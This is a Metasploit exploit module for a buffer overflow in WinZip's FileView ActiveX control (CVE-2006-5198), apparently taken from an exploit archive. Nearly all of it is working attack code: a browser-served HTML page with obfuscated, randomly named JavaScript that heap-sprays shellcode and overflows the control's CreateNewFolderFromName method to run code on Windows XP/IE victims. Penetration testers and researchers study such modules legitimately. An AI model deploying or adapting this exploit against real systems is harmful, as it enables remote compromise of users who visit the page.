WinZip FileView – ‘WZFILEVIEW.FileViewCtrl.61’ ActiveX Buffer Overflow (Metasploit)
## # $Id: winzip_fileview.rb 9179 2010-04-30 08:40:19Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::Remote::BrowserAutopwn autopwn_info({ :ua_name => HttpClients::IE, :javascript => true, :os_name => OperatingSystems::WINDOWS, :vuln_test => 'CreateNewFolderFromName', :classid => '{A09AE68F-B14D-43ED-B713-BA413F034904}', :rank => NormalRanking # reliable memory corruption }) def initialize(info = {}) super(update_info(info, 'Name' => 'WinZip FileView (WZFILEVIEW.FileViewCtrl.61) ActiveX Buffer Overflow', 'Description' => %q{ The FileView ActiveX control (WZFILEVIEW.FileViewCtrl.61) could allow a remote attacker to execute arbitrary code on the system. The control contains several unsafe methods and is marked safe for scripting and safe for initialization. A remote attacker could exploit this vulnerability to execute arbitrary code on the victim system. WinZip 10.0 <= Build 6667 are vulnerable. }, 'License' => MSF_LICENSE, 'Author' => [ 'dean <dean[at]zerodaysolutions.com>' ], 'Version' => '$Revision: 9179 $', 'References' => [ [ 'CVE','2006-5198' ], [ 'OSVDB', '30433' ], [ 'BID','21060' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 1024, 'BadChars' => "\x00", }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP SP0-SP2/ IE 6.0 SP0-SP2 / IE 7', { 'Ret' => 0x0c0c0c0c } ] ], 'DisclosureDate' => 'Nov 2 2007', 'DefaultTarget' => 0)) end def autofilter false end def check_dependencies use_zlib end def on_request_uri(cli, request) # Re-generate the payload. return if ((p = regenerate_payload(cli)) == nil) # Encode the shellcode. shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) # Set the return. ret = Rex::Text.uri_encode([target.ret].pack('L')) # Randomize the javascript variable names. vname = rand_text_alpha(rand(100) + 1) var_i = rand_text_alpha(rand(30) + 2) rand1 = rand_text_alpha(rand(100) + 1) rand2 = rand_text_alpha(rand(100) + 1) rand3 = rand_text_alpha(rand(100) + 1) rand4 = rand_text_alpha(rand(100) + 1) rand5 = rand_text_alpha(rand(100) + 1) rand6 = rand_text_alpha(rand(100) + 1) rand7 = rand_text_alpha(rand(100) + 1) rand8 = rand_text_alpha(rand(100) + 1) content = %Q| <html> <object id='#{vname}' classid='clsid:A09AE68F-B14D-43ED-B713-BA413F034904'></object> <script language="JavaScript"> var #{rand1} = unescape('#{shellcode}'); var #{rand2} = unescape('#{ret}'); var #{rand3} = 20; var #{rand4} = #{rand3} + #{rand1}.length; while (#{rand2}.length < #{rand4}) #{rand2} += #{rand2}; var #{rand5} = #{rand2}.substring(0,#{rand4}); var #{rand6} = #{rand2}.substring(0,#{rand2}.length - #{rand4}); while (#{rand6}.length + #{rand4} < 0x40000) #{rand6} = #{rand6} + #{rand6} + #{rand5}; var #{rand7} = new Array(); for (#{var_i} = 0; #{var_i} < 800; #{var_i}++){ #{rand7}[#{var_i}] = #{rand6} + #{rand1} } var #{rand8} = "A"; for (#{var_i} = 0; #{var_i} < 1024; #{var_i}++) { #{rand8} = #{rand8} + #{rand2} } #{vname}.CreateNewFolderFromName(#{rand8}); </script> </html> | print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...") # Transmit the response to the client send_response_html(cli, content) # Handle the payload handler(cli) end end |